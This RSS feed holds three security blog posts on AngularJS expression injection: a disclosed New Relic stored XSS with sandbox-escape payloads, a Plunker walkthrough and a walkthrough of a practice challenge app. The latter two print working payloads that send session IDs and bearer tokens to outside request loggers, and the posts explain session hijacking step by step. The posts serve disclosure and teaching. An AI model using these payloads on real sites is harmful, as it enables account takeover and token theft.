<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Ryan's blog attempt]]></title><description><![CDATA[Make things. Break things.
Code. Hack.<br><br>
Tinker and stretch boundaries.<br>
Think differently.<br>]]></description><link>https://ryhanson.com/</link><generator>Ghost 0.11</generator><lastBuildDate>Mon, 26 Mar 2018 18:14:42 GMT</lastBuildDate><atom:link href="https://ryhanson.com/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Stored XSS in New Relic via Angular Expression Sandbox Escape]]></title><description><![CDATA[Angular expression injection with a sandbox escape leads to stored XSS vulnerability in New Relic. Details publicly disclosed through Hackerone bounty.]]></description><link>https://ryhanson.com/stored-xss-in-new-relic-via-angular-expression-sandbox-escape/</link><guid isPermaLink="false">be354fcd-d71c-4ce3-80e2-5abbc4f69032</guid><category><![CDATA[angular]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[disclosure]]></category><category><![CDATA[xss]]></category><dc:creator><![CDATA[Ryan Hanson]]></dc:creator><pubDate>Mon, 30 May 2016 22:53:31 GMT</pubDate><content:encoded><![CDATA[<p>New Relic recently decided to publicly disclose a vulnerability I reported to them a few months ago. This was done through their public bug bounty program on <a href="https://hackerone.com/newrelic">Hackerone</a>.</p>

<p>The report can be found here: <a href="https://hackerone.com/reports/124724">https://hackerone.com/reports/124724</a></p>

<p>The details of the report can also be found below.</p>

<h4 id="details">Details:</h4>

<p>As an Admin of an account, I am able to set the Name of the Account to an Angular expression. This Angular expressions is resolved and executed on the <a href="https://insights.newrelic.com">Insights Welcome Page</a> for anyone that is apart of the Account.</p>

<p>Due to the ability to invite anyone (including current NewRelic users) to an Account, it opens up the possibility for an attack on another user. This angular expression not only can be escaped and used to execute Javascript, but it can also access anything within the Angular scope on the Insights dashboard.</p>

<p>Here are is the Proof of Concept for the sandbox escape that logs the cookie to the console:  </p>

<pre><code>{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=console[\'log\'](document[\'cookie\'])//');  }}
</code></pre>

<p>Here is one with an alert:  </p>

<pre><code>{{{}[{toString:[].join,length:1,0:'__proto__'}].assign=[].join;
  'a'.constructor.prototype.charAt=[].join;
  $eval('x=alert(\'New Relic XSS\')//');  }}
</code></pre>

<p>PoC Screenshot: <br>
<img src="https://ryhanson.com/content/images/2016/05/Insights_XSS_New_Relic.png" alt="Alert triggered via sandbox escape"></p>

<p>The following expression will resolve to the current account ID in the nav. This demonstrates the ability to traverse through the angular scope. These can often be bad when there are API methods available, or even sessions tokens in scope. I didn't look through the Scope enough to gauge the severity of what could be done with just an Angular expression.  </p>

<pre><code>Account ID: {{ this.$$childHead.$$nextSibling.$$nextSibling.$$nextSibling.currentaccountId }}  
</code></pre>

<p>Poc Screenshot: <br>
<img src="https://ryhanson.com/content/images/2016/05/Resolved_Insights_Expression_New_Relic.png" alt="Account ID Resolved"></p>]]></content:encoded></item><item><title><![CDATA[Exploiting Angular Expressions to Steal Session Tokens on Plunker]]></title><description><![CDATA[Angular application vulnerabilities can occur when mixing server side and client side templates. These expression injections can lead to token stealing.]]></description><link>https://ryhanson.com/stealing-session-tokens-on-plunker-with-an-angular-expression-injection/</link><guid isPermaLink="false">78c8f7df-82e1-407d-a70f-a2fd75c0492b</guid><category><![CDATA[angular]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[Ryan Hanson]]></dc:creator><pubDate>Sun, 20 Mar 2016 06:00:00 GMT</pubDate><content:encoded><![CDATA[<p>Lately, I’ve been been doing some research on the vulnerabilities happening with some AngularJS implementations. The biggest problem being: mixing server side templates with client side templates. This opens up the opportunity for user input to get into a server-side view, that is then sent client side, and then evaluated by AngularJS. This is similar to how a common XSS vulnerability happens. Nowadays everyone strips tags and filters for any javascript in any input. But here is the problem, Angular expressions are going to evade these filters all day long, because they aren’t raw Javascript...</p>

<p>I know what you are thinking “what sort of damage can be done with an Angular expression?”. Well thats what I’m going to show you. This is a good example of how a single expression can lead to an account being hijacked. This is the new age cookie stealing, but instead of using Javascript directly, we will use an Angular expression.</p>

<h3 id="analyzingthesource">Analyzing the source</h3>

<p>Lets first start by looking at <a href="http://plnkr.co/">Plunker's</a> web app. Specifically the editor used when creating or modifying a Plunk. Viewing the source in Chrome Dev tools we can see that it starts by setting <code>ng-app</code> on the html tag:  </p>

<pre><code>&lt;html id="ng-app" ng-app="plunker.editorPage" lang="en" xmlns:ng="http://angularjs.org" class="ng-app:plunker.editorPage ng-scope"&gt;  
</code></pre>

<p>This is important, because it tells use that everything within the HTML tags will <em>usually</em> be within an Angular scope and evaluated by Angular. So if we can get an expression in the HTML sent from the server, chances are it will execute. In Google Chrome you can see the difference between what is sent from the server and what is created by the client. For the server response just (Right-Click->View Page Source). For the source that is evaluated/created by the client, look at the Elements tab in Chrome Dev Tools. On sites that utilize Angular, you should see some noticeable differences. Angular expressions <code>{{ expression }}</code> should be evaluated in the dev tools, in the page source from the server, they won’t be.</p>

<h3 id="findingtheinjectionpoint">Finding the injection point</h3>

<p>With that knowledge, we should be able to determine what user input is getting put into a server side view and what isn’t. We will also be able to do some testing to see if our expression evaluates by looking for it in the dev tools. Looking at the source of the page you should notice that the description of your Plunk goes into the Twitter title meta tag:  </p>

<pre><code>&lt;meta name="twitter:title" content="This is your plunk description"&gt;  
</code></pre>

<p>Now since this is within our HTML tag, we should be able to put an expression in our description and see it evaluate in our dev tools. Here is the expression I like to use to test for expression injections <code>x{{1==1}}x</code>. I do this because it evaluates to <code>xtruex</code> which is unique enough that I can find when I search the evaluated source. If I did <code>{{1==1}}</code>, it would evaluate to <code>true</code> which appears much more often and is a harder needle to find. Here is a where I entered this on the page in the editor: <br>
<img src="https://ryhanson.com/content/images/2016/04/PlnkrDescription.jpg" alt="Description Field">
After putting that as our description, we should see then server return it in the response <em>(Right-Click->View Page Source)</em>:  </p>

<pre><code>&lt;meta name="twitter:title" content="x{{1==1}}x"&gt;  
</code></pre>

<p>But now if we open our dev tools and search for xtruex, we should find our evaluated expression like below: <br>
<img src="https://ryhanson.com/content/images/2016/04/EvaluatedExpression.jpg" alt="Evaluated Expression"></p>

<h3 id="analyzingthescope">Analyzing the scope</h3>

<p>We know that the description field of our Plunk is vulnerable to an Angular Expression Injection. Anything we put in there will be evaluated by the user viewing our plunk. But what can we do with it? In this case, we can do a lot... But first, we need to look at what is available within the scope of this expression. Which would be everything inside of the HTML tag since we see <code>ng-scope</code> as the class. To view everything in the scope, we can use the dev tools again. This time the Console tab. Angular provides an <code>element()</code> <a href="https://docs.angularjs.org/api/ng/function/angular.element">function to select and wrap a DOM object</a> and a method on it called <code>scope()</code>. In the console we can type <code>angular.element('html').scope()</code> and it will return the <code>$scope</code> object for that element. You would see something like this: <br>
<img src="https://ryhanson.com/content/images/2016/04/HtmlTagScope.jpg" alt="Current Scope">
There is a whole lot of data and functionality available to us within this scope. Anything within this scope, we can use in an Angular expression, granted there are some limitations. Right away I’m looking at the visitor and session objects in the scope. The visitor object contains some interesting data, here is what mine looks like: <br>
<img src="https://ryhanson.com/content/images/2016/04/VisitorObject.jpg" alt="Visitor Object">
And here is the output of my session object: <br>
<img src="https://ryhanson.com/content/images/2016/04/SessionObject.jpg" alt="Session Object">
At this point we need to figure out how to get tokens out of the visitor object, and into our hands. Looking through everything that is available in the scope, I’m sure there is more than one way of doing this. For me, I like to see if I can make the user send a request to my <a href="https://www.runscope.com/">Runscope</a> account with the token. After looking into the session object, I saw <code>session.activeBuffer.content</code> contained the HTML that was rendered in the preview pane of my current Plunk. If I could update that content with some HTML that would send a GET request to Runscope with the token as a parameter, I could capture the user’s token.</p>

<h3 id="exploitingthevulnerability">Exploiting the vulnerability</h3>

<p>First thing I wanted to try to do is see if I could put the user’s session ID into <code>session.activeBuffer.content</code> and see it appear in the preview. I tested that by using this expression <code>{{session.activeBuffer.content=visitor.session.id}}</code> as the description and after refreshing the page, I saw this: <br>
<img src="https://ryhanson.com/content/images/2016/04/SessionIDContent.jpg" alt="Session ID Content">
Look closely behind the shadow. It worked! Now we need to get that ID sent to our Runscope traffic logger. I did this by simply adding it as a GET parameter and putting it in an IMG tag. This was my final expression:  </p>

<pre><code>{{ session.activeBuffer.content = '&lt;img src="//api-yourapihere-com-rpaem4urrlgf.runscope.net/?s=' + visitor.session.id + '"&gt;' }}
</code></pre>

<p>That expression will update the activeBuffer’s content with an image that has the user’s session ID added to the URL. When the page is loaded the browser makes a request for that image, which is then logged in my Runscope traffic logs. Here is what it looked like when the page was loaded, notice the broken image in the preview pane: <br>
<img src="https://ryhanson.com/content/images/2016/04/InjectedImgTag.jpg" alt="Injected IMG Tag">
Finally, here is what was captured in Runscope. A GET request with my Session ID: <br>
<img src="https://ryhanson.com/content/images/2016/04/CapturedSessionId.jpg" alt="Captured Session ID">
There you have it! An Angular Expression Injection vulnerability that was allowed us to steal a user’s session ID, which is used for account authentication. Now to gain access to the user’s account, all we need to do is update our <code>plnk_session</code> cookie with the stolen session ID, refresh, and thats it! Session tokens/IDs are not always stored in a cookie. You’ll often find them in local/session storage too. In this case, it was in a cookie. After authenticating as this user, you could dump the same visitor object from earlier and grab their GitHub token that Plunker uses. But the only permission that Plunker is given is the ability to Create Gists on GitHub, so not much damage could be done. Still interesting to see that its available in the scope though!</p>

<h3 id="disclosureandresponse">Disclosure and Response</h3>

<p>This was by far, the fastest fix I have seen after reporting a vulnerability. Elapsed time from disclosure to a deployed fix: 8 minutes. Yes, 8 minutes! Granted this was a super simple fix, but still impressive. I reached out to <a href="https://twitter.com/filearts">Geoff Goodman</a> on Twitter (Creator of Plunker), sent him a DM with the details on vulnerability, and the expression payload I used. He thanked me, and fixed it very quickly by adding the <code>ng-non-bindable</code> directive to the Twitter meta tags we were putting our Angular expression in:  </p>

<pre><code>&lt;meta name="twitter:title" ng-non-bindable content="x{{1==1}}x"&gt;  
</code></pre>

<p>This will prevent Angular from evaluating any expressions in that tag. Another way this could have been fixed would have been to move <code>ng-app</code> to the body tag instead of having it on the HTML tag since there wasn’t any Angular usage in the head of the page anyways.</p>

<h3 id="summary">Summary</h3>

<p>This is not the only Angular Expression Injection vulnerability I have found. I have a few others that I will be doing write-ups on after they have been fixed. They are not all as severe as this one. Some end up being harmless and are self-only vulnerabilities. Others can force users to make API calls within the application that could be turned into a wormable exploit within the site. For example, imagine if we crafted an expression on Plunker that not only stole the users session ID, but also created a public Plunk on their behalf with the malicious expression as the description… Then if someone viewed their plunk, the same would happen to them, and it would continue to replicate. I’m sure if we dug deeper in the Plunker scope, it would have been possible. <br>
Angular expressions are powerful and if you let a malicious user’s expression end up in your HTML, bad things can happen!</p>]]></content:encoded></item><item><title><![CDATA[Walkthrough for Angular Expression Injection Challenge]]></title><description><![CDATA[An in-depth walkthrough on an Angular expression injection challenge. Demonstrating how to steal authorization headers through a Restangular object method.]]></description><link>https://ryhanson.com/angular-expression-injection-walkthrough/</link><guid isPermaLink="false">239d5c23-d741-472c-9349-d3f7af1c4f78</guid><category><![CDATA[angular]]></category><category><![CDATA[vulnerability]]></category><category><![CDATA[walkthrough]]></category><category><![CDATA[security]]></category><dc:creator><![CDATA[Ryan Hanson]]></dc:creator><pubDate>Tue, 24 Nov 2015 07:09:00 GMT</pubDate><content:encoded><![CDATA[<p>A little over a week ago I released an <a href="http://ryhanson.com/angular-expression-injection-vulnerability/">Angular expression injection challenge</a>. The challenge consisted of a simple Todo List web app that was intentionally vulnerable and allowed persisting of Angular expressions. If you have not tried it yet and don't want to spoil it for yourself, <strong>stop reading now!</strong></p>

<p>If you are here just for the solutions, <a href="https://ryhanson.com/angular-expression-injection-walkthrough/#solutions">you can find them here.</a> Or if you want to jump straight to the solution in this walkthrough, <a href="https://ryhanson.com/angular-expression-injection-walkthrough/#final-steps">here are the final steps.</a></p>

<p>If you want to go through the walkthrough, lets get right into analyzing this app and figuring out how it works. </p>

<h2 id="informationgathering">Information Gathering</h2>

<p>If we need to capture Bob's bearer token, our first goal should be to capture our own bearer token first. Let's try to find our bearer token. Since this is a client side attack, I am going to be using Google Chrome's Web Developer Tools. One of the first things I do when analyzing a web app is check the requests it sends and responses it receives. Looking at the 'Network' tab in the dev tools we will see a request to <code>http://restangular-todo.herokuapp.com/todos?limit=100</code> that looks like this:</p>

<pre><code>GET /todos?limit=100 HTTP/1.1  
Host: restangular-todo.herokuapp.com  
Connection: keep-alive  
Accept: application/json, text/plain, */*  
Authorization: Bearer YTczZThhMTUtYzYxNC00M2I1LTk2NzYtNWFkMDIzZDMzNjEy  
</code></pre>

<p>In that request, we see an <code>Authorization:</code> header with our own Bearer token. So we know that something behind the scenes is adding our token into requests made through this app. But where is the Bearer token? The 'Sources' tab in dev tools will allow us to search through the javascript this app is using. In the folder tree we find the app uses <code>99ab9eb.js</code>, which contains all the javascript for this entire app. </p>

<p><img src="https://ryhanson.com/content/images/2015/11/DevToolsSources.jpg" alt=""></p>

<p>Now we can push <code>Cmd + F</code> to search the source code. Let's search for <code>bearer</code> and see what we find. Right away it jumps us to <code>line 31856</code>, which this conditional statement:</p>

<pre><code>if(localStorage.getItem('todo_bearer') === null) {  
    localStorage.setItem('todo_bearer', generateUUID());
}
</code></pre>

<p>This code checks Local Storage for the item <code>todo_bearer</code> if it doesn't find one, it generates one and stores it in Local Storage. Cool, now we know where our Bearer token is stored. In dev tools, we can goto the 'Resources' tab and take a look at our items in local storage. You should see something like this:</p>

<p><img src="https://ryhanson.com/content/images/2015/11/DevToolsLocalStorage.jpg" alt=""></p>

<p>There is the Bearer token created by the code from above. It looks different than what we saw in our Auth header though, lets search the code and see if we can find out why. If we continue searching for more occurrences of <code>bearer</code> we come across this line of code:</p>

<pre><code>RestangularProvider.setDefaultHeaders({Authorization: 'Bearer ' + window.btoa(localStorage.getItem('todo_bearer'))});  
</code></pre>

<p>This is the where the bearer token is pulled out of local storage, and then Base64 encoded with <code>window.btoa()</code> and added as a default header to the RestangularProvider. This line tells us a lot about the app! Now we know that the service the app is using to make requests to the server is <a href="https://github.com/mgonto/restangular">Restangular</a>. We will keep that in mind for later.</p>

<p>Alright, we've done a little information gathering, so lets start tinkering with the app and see what we can do. Lets add a todo, see what is sent to the server, and see what changes on the page. I went ahead and added the todo: <em>Go to the store</em>. This is what the request to the server looked like:</p>

<pre><code>Request Headers:

POST /todos HTTP/1.1  
Host: restangular-todo.herokuapp.com  
Connection: keep-alive  
Content-Length: 36  
Accept: application/json, text/plain, */*  
Origin: http://restangular-todo.herokuapp.com  
Authorization: Bearer YTczZThhMTUtYzYxNC00M2I1LTk2NzYtNWFkMDIzZDMzNjEy  
Content-Type: application/json;charset=UTF-8  
</code></pre>

<pre><code>Request Body:

{"todo":{"title":"Go to the store"}}
</code></pre>

<p>Cool, so we see that when creating a todo it sends our Auth headers as we would expect, and it sends a pretty basic todo object with the title we wrote. Now lets look at the response:</p>

<pre><code>{
    "title": "Go to the store",
    "completed": false,
    "_links": {
        "self": {
            "href": "http:\/\/restangular-todo.herokuapp.com\/todos\/18335"
        }
    }
}
</code></pre>

<p>Nothing out of the ordinary, it simply returned the todo object we created. But there is one thing that is a little out of the ordinary, the <em>'Most recent todo'</em> part of the page didn't update:</p>

<p><img src="https://ryhanson.com/content/images/2015/11/NoRecentTodo.jpg" alt=""></p>

<p>This tells me either that the app is broken, or it requires a page refresh to load. Refreshing the page does the trick and we see:</p>

<p><img src="https://ryhanson.com/content/images/2015/11/RecentTodo.jpg" alt=""></p>

<p>This is a sign that that part of the page is rendered on the server or not bound to an angular object. This may be a sign that we can inject an <a href="https://docs.angularjs.org/guide/expression">Angular Expression</a>. Let's edit our todo and see if that is the case. We will try a simple expression like <code>{{1==1}}</code> which should evaluate to <code>true</code>. My new todo is: <code>This is {{1==1}}</code>.</p>

<p>After updating and refreshing the page I now see: <code>Most recent todo: This is {{1==1}}</code>, which is not what we expected... This could mean that it isn't vulnerable, or the app might be using different start and end symbols for Angular expressions. This feature was added to avoid conflicts with other template engines that use <code>{{</code> and <code>}}</code>, which is a sign you are doing things wrong and is mentioned in the <a href="https://docs.angularjs.org/api/ng/provider/$interpolateProvider">docs for $interpolateProvider</a>.</p>

<p>In the docs we find that start and end symbols are configured by calling <code>.startSymbol([value]);</code> and <code>.endSymbol([value]);</code>. Lets use the dev tools to find if this is being done. After searching for <code>$interpolateProvider.startSymbol(</code> we get two results, one is a code comment and the other is:</p>

<pre><code>.config(function($interpolateProvider) {
    $interpolateProvider.startSymbol('{[{').endSymbol('}]}');
})
</code></pre>

<p>Exactly what we are looking for! Looks like this app is using <code>{[{</code> and <code>}]}</code> as the start and end symbols. Lets edit our todo and see if we can get the expression to evaluate, I changed it to <code>This is {[{1==1}]}</code>, refreshed the page, and I now see: <code>Most recent todo: This is true</code>. Perfect! We now know where this app is vulnerable to a persisted expression injection and what start/end symbols we need to use.</p>

<h2 id="lookingthroughourscope">Looking through our scope</h2>

<p>The easy part is over, we found our vulnerability. Now what exactly can we do with an Angular Expression? A quick look at <a href="https://docs.angularjs.org/guide/expression">the docs</a> will tell us we can do things like:</p>

<ul>
<li><code>1+2</code></li>
<li><code>a+b</code></li>
<li><code>user.name</code></li>
<li><code>items[index]</code></li>
</ul>

<p>One important thing to note from the docs, is the context of an angular expression: <em>expressions are evaluated against a <code>scope</code> object.</em> More researching, you'll also find that you can't call native javascript objects in an expression. No <code>alert('xss')</code> or <code>document.cookie</code> or in our case <code>localStorage.getItem()</code>. Unless you escape the sandbox (which <a href="https://code.google.com/p/mustache-security/wiki/AngularJS">has been done</a>), you are limited to accessing what is available in your current <code>scope</code> object. One thing that wasn't in that list was function calls. You can call functions attached to objects within your scope.</p>

<p>How do we find what is in our current scope? There are a number of ways, but my favorite is using the dev tools console. Lets open dev tools and go to the <code>Console</code> tab and see what kind of information we can gather. If you do some searching on how to view an Angular scope in dev tools, you'll find commands that look like this:</p>

<ul>
<li>If jQuery is available: <code>angular.element([selector]).scope()</code> or <code>.isolateScope()</code></li>
<li>If only jqLite is available: <code>angular.element([element]).scope()</code>. You would get the element with you standard <code>document.getElementById()</code> or <code>.getElementByClass()</code>.</li>
</ul>

<p>In our case, we only have jqLite available. Lets find the element for the <code>Most recent todo:</code> part of the page by right-clicking it and selecting 'Inspect Element'. We will see that it is inside <code>&lt;footer id="info" class="ng-scope"&gt;</code> which tells us the ID of the element and that the element has a <code>scope</code> object. So if we put: <code>angular.element(document.getElementById('info')).scope()</code> into the dev tools console, it will dump the scope object for that element. Which should look something like:</p>

<pre><code>$$childHead: $$childScopeClass
$$childScopeClass: function ()
$$childTail: $$childScopeClass
$$listenerCount: Object
$$listeners: Object
$$nextSibling: null
$$prevSibling: null
$$watchers: Array[2]
$id: "002"
$parent: Scope
addTodo: function ()  
allChecked: false  
clearCompletedTodos: function ()  
completeTodo: function (todo)  
completedCount: 0  
doneEditing: function (todo, $index)  
editTodo: function (todo)  
editedTodo: null  
markAll: function (completed)  
mostRecent: "This is true"  
newTodo: Object  
remainingCount: 1  
removeTodo: function (todo, $index)  
revertEditing: function (todo, $index)  
status: ""  
statusFilter: null  
this: $$childScopeClass  
todos: Array[1]  
__proto__: Scope  
</code></pre>

<p>There is a whole lot of stuff accessible through this scope object. So how can we use this? First lets see what we can put in an expression to evaluate. Since we know this object is our current scope, when we write our expression we will start with referencing a property of this object. For example, if we put <code>{[{$id}]}</code> in a todo, we would expect to see <code>002</code> since that is what we saw in the console: <code>$id: "002"</code>. I'm going to edit the todo and put in <code>My ID is: {[{$id}]}</code>, refresh the page, and now I see on the page: <code>Most recent todo: My ID is: 002</code>. Sweet, it worked!</p>

<h2 id="expressionmethodexecution">Expression method execution</h2>

<p>Now that we are successfully evaluating off the scope object, lets see what else is available to us. To setup our console to build our expression a little easier, lets assign our scope object to a variable with: <code>var scope = angular.element(document.getElementById('info')).scope();</code> Now when we type <code>scope</code> into the console we get our object back. In our scope object we see a number of things, but lets first look at some of these <em>todo</em> related functions like <code>addTodo: function ()</code> and <code>editTodo: function(todo)</code>. In the dev tools console, lets try to call <code>.addTodo()</code> by typing in: <code>scope.addTodo()</code>. We see that we get a <em>400 Bad Request</em> back from the server. If we hop over to the Network tab and look at the response, we see that this is because the title is empty. Since this function doesn't take any parameters, lets look at our scope object again and drill into the <code>newTodo: Object</code>, expanded it reveals <code>title: ""</code>. If we were to search for the <code>.addTodo()</code> method in the source code, we would see that it sends the <code>newTodo</code> object from the scope. Lets set our title and call <code>.addTodo()</code> again. First we do <code>scope.newTodo.title = "testing";</code> then <code>scope.addTodo()</code>. If we refresh the page, we see that our todo was added as we would expect.</p>

<p>We have successfully created a todo in the dev tools console through our scope object. Now lets try to turn that into an expression. There are two actions we need to do: set <code>newTodo.title</code> and call <code>.addTodo()</code>. We can do that with two separate expressions, or by separating them with a semi-colon. This is what I came up with: <code>{[{newTodo.title='new todo!';addTodo()}]}</code>. After updating our todo with that expression and refreshing the page, we see our todo was added after the expression was evaluated!</p>

<p>If we wait 60 seconds, we noticed that no other todo's are added to the page. That is not because Bob isn't evaluating the expression, it is due to the Todo lists being isolated by bearer token. When he views your expression, he does end up adding a todo, but only to his own todo list. Remember, <em>Bob is special</em> and can view all the todos. The only way we could see the todo Bob adds is by changing his bearer token to our bearer token before he makes the request (which is possible). <a name="final-steps"></a></p>

<h2 id="huntingforrestangularmethods">Hunting for Restangular methods</h2>

<p>Now that we can successfully evaluate an expression with a function call in it, lets go back to the dev tools and see what else we can find in our scope object.</p>

<blockquote>
  <p>Quick note: since we refreshed the page, the scope variable you created in the console will need to be re-created. Press the up arrow key a few times (like you would in a console) and you'll find it.</p>
</blockquote>

<p>Lets drill into <code>todos: Array[3]</code> and see whats in there. We first see our 3 todo objects, but we also see a bunch of functions and the property <code>restangularCollection: true</code>, which tells us this is a Restangular Collection and that those functions we see might just be Restangular methods. The methods that stand out to me are the ones with <em>Url</em> in the name such as: <code>oneUrl</code> and <code>allUrl</code>. If we look at the <a href="https://github.com/mgonto/restangular#element-methods">Restangular docs</a>, we find these element methods and their descriptions:</p>

<ul>
<li><strong>oneUrl(route, url):</strong> This will create a new Restangular object that is just a pointer to one element with the specified URL.</li>
<li><strong>allUrl(route, url):</strong> This creates a Restangular object that is just a pointer to a list at the specified URL.</li>
</ul>

<p>This tells us <code>.oneUrl()</code> will create a Restangular object with our own route and url. Awesome, maybe we can get Bob to make a request to our own server in hopes that his Bearer token is passed in the Auth header for us to log...</p>

<p>Lets put <code>scope.todos.oneUrl('/', 'https://google.com')</code> in our dev tools and execute it. We see that it returns a new Restangular object back just like the docs said it would. Now at this point the URL we passed in hasn't been called, which makes sense because we haven't done a GET, POST, PUT, or DELETE. In our new object we see the same element methods that we saw earlier. Including all the HTTP verb methods we need in order to complete a request. Lets add a <code>.get()</code> to the end of our <code>.oneUrl()</code> method call like this: <code>scope.todos.oneUrl('/', 'https://google.com').get()</code> and run it. We get the following error:</p>

<pre><code>XMLHttpRequest cannot load https://google.com/?limit=100. Response to preflight request doesn't pass access control check: No 'Access-Control-Allow-Origin' header is present on the requested resource. Origin 'http://restangular-todo.herokuapp.com' is therefore not allowed access. The response had HTTP status code 405.  
</code></pre>

<p>Well this is sorta bad, but also very good. This tells us that the app <em>tried</em> to make the request, but after making an OPTIONS request to the URL, it got a <code>Access-Control-Allow-Origin</code> header back that did not have our domain or a wildcard <code>*</code>, which is needed for a cross origin request. Which is why we didn't see the GET request we tried to make...</p>

<h2 id="craftinganexpressionpayload">Crafting an expression payload</h2>

<p>Our test request to Google didn't work because of the response headers that Google passed back. This brings up an important question: if we make a request to a domain with <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Access_control_CORS">CORS</a> enabled, will it go through? A quick Google search resulted in this CORS testing site: <a href="https://cors-test.appspot.com/">https://cors-test.appspot.com/</a>. Which says we can make a request to <code>https://cors-test.appspot.com/test</code> to test cross origin requests. Lets put <code>scope.todos.oneUrl('/', 'https://cors-test.appspot.com/test').get()</code> into the dev tools console and see what happens. Our result: no errors and we also get a Restangular object back. Now we want to see if the Auth header was sent, lets go to the 'Network' tab and check:</p>

<p><img src="https://ryhanson.com/content/images/2015/11/AuthHeadersSent.jpg" alt=""></p>

<p>Auth header was sent! What exactly does this mean? It means that if we are in control of the server it sends that request to, we can capture the request and see the Authorization header.</p>

<p>Googling around you will find a number of sites that offer request logging, they are mostly API testing/mocking services such as <a href="https://www.runscope.com/">Runscope</a> and <a href="https://www.mockable.io/">Mockable</a>. These services will let us send requests to them and have them logged so we can look at them. But the important thing is that CORS is enabled by default, so they will accept the requests from our origin.</p>

<p>I setup a test account at Mockable and created a REST Mock. The only setting I changed was the path and I also enabled Request Logger for this mock. After saving it, you have to actually start the Mock. Once it is started, you can click on the mock and it will show you the url it is running on. Mine was: <code>http://demo0260455.mockable.io/todos</code>.</p>

<p>Now that we have a request logger setup, we should be able to go back to our dev tools console, change the endpoint in our <code>.oneUrl().get()</code> call, and then see a request logged in Mockable. Your test call should look something like this <code>scope.todos.oneUrl('/', 'http://demo0260455.mockable.io/todos').get()</code>, and if everything worked correctly, there should be no errors and a new request logged in Mockable. Which is exactly what happened! This is what I saw in the Mockable logs:</p>

<p><img src="https://ryhanson.com/content/images/2015/11/MockableCapture.jpg" alt=""></p>

<p>Now for our final steps: turn it into an Angular expression, put it in a todo, and wait for Bob to visit the page. Our expression should look almost identical to what we just put in the console, minus <code>scope.</code>, something like: <code>{[{todos.oneUrl('/','http://demo0260455.mockable.io/todos').get()}]}</code>. After adding that todo and refreshing you shouldn't see any errors and the most recent todo should look like: <code>Most recent todo: {"restangularCollection":false}</code>. Since Bob visits every 60 seconds, it shouldn't be long before we see his request in our Mockable logs...</p>

<p align="center"><strong>Finally, Bob's bearer token!</strong></p>

<p><img src="https://ryhanson.com/content/images/2015/11/BobsToken.jpg" alt=""></p>

<p>Base64 decode Bob's bearer token in the dev tools console with: <code>window.atob('NmY2OWI3ODUtZGVhZC1iZWE3LWIzM2YtMjQyNDZiMmUzOGQz')</code> and we will get <code>6f69b785-dead-bea7-b33f-24246b2e38d3</code>. <strong>dead-bea7-b33f</strong> in the middle was my little easter egg :)</p>

<p>Now what do we do with the token? Same thing we would do if we stole cookies from a site that used cookie authentication; swap out our own bearer token with the victims token. Setting our token to <code>6f69b785-dead-bea7-b33f-24246b2e38d3</code> in local storage, would result in us being logged in as Bob. In the case of this challenge, you will end up seeing what Bob was able to see, which is: every todo in the system. <a name="solutions"></a></p>

<h2 id="solutions">Solutions</h2>

<p>In the first week of this challenge, there were over 2300 visits to <a href="http://ryhanson.com/angular-expression-injection-vulnerability/">the blog post</a>, and over 12,000 todos added. Some of those todos were from Bob being forced to create them (I wonder how that happened?).</p>

<p>Out of all of the attempts that were made, there were less than 10 people who successfully captured Bob's bearer token. Here are the solutions that they came up with (ordered by when I received them):</p>

<ol>
<li>Mathias Karlsson (<a href="https://twitter.com/avlidienbrunn">@avlidienbrunn</a>), used the same method we used in this walkthrough. Mathias is also responsible for a previous <a href="http://avlidienbrunn.se/angular.txt">Angular sandbox escape</a>. Very interesting research!  </li>
<li><a href="https://twitter.com/CodeAndSec">@CodeAndSec</a> also completed the challenge using the <code>.oneUrl()</code> technique.  </li>
<li>Francesco Ferro (<a href="https://twitter.com/frantch18">@frantch18</a>), who created a Twitter just to submit his solution to me, also used <code>.oneUrl()</code>  </li>
<li><a href="https://twitter.com/021171112a">@Bartłomiej</a> completed the challenge with a very unique solution that didn't require another server: <br>
<code>{[{ newTodo.title = todos.getRestangularUrl.__bindData__[4].config.defaultHeaders['Authorization']; todos.getRestangularUrl.__bindData__[4].config.defaultHeaders['Authorization'] = '&lt;MY AUTH HERE SO I CAN SEE DEM TODOS &lt;3'; addTodo(); }]}
</code><br>
Here is how it works: <br>
<ul><li>He sets the title of the <code>newTodo</code> object to the Authorization header he grabbed out of the <code>defaultHeaders[]</code> array in the Restangular config. </li>
<li>Then he sets that same Authorization header with his own bearer token. So when Bob posts a todo, he will see it on his list.</li>
<li>Finally he add's the todo. This resulted in him seeing a new Todo added to his list with Bob's bearer token. Very cool!</li>
<li>Bartłomiej would like to send greets to <a href="https://twitter.com/konieczny">@konieczny</a> for sharing the challenge on his blog: <a href="http://niebezpiecznik.pl/post/atak-na-angularjs-cwiczenie/">niebezpiecznik.pl</a></li></ul></li>
<li>(<a href="https://twitter.com/KonradRymczak">@KonradRymczak</a>), completed the challenge using the <code>.oneUrl()</code> method.  </li>
<li>Doug Ludlow (<a href="https://twitter.com/blunderingdev">@DougLudlow</a>) also completed the challenge with the <code>.oneUrl()</code> technique.  </li>
<li>Reddit users <a href="https://www.reddit.com/user/bholzer">/u/bholzer</a> and <a href="https://www.reddit.com/user/yelvert">/u/yelvert</a> collaborated and came up with another unique solution: <br>
<code>{[{ foobar = todos[0].clone(); foobar._links.self.href = 'http://{server to log headers}/'; foobar.get();}]}
</code><br>
This is how their technique works:
<ul><li>They clone an existing todo and store it in a variable in their expression. This todo item is a Restangular object and has all the same methods we discovered during the walkthrough.</li>
<li>They change the self referencing URL to point to a server that will be used to capture the auth headers.</li>
<li>Then they call a <code>.get()</code>, which will send a request to whatever the Restangular objects <code>.self.href</code> property is set to. Very clever!</li></ul></li>
<li>Reymes (<a href="https://twitter.com/reymes_">@reymes_</a>) used the <code>.oneURL()</code> method and also provided <a href="https://gist.github.com/anonymous/feea058115d2bde22ca1">his code sample</a> for capturing the auth headers.</li>
</ol>

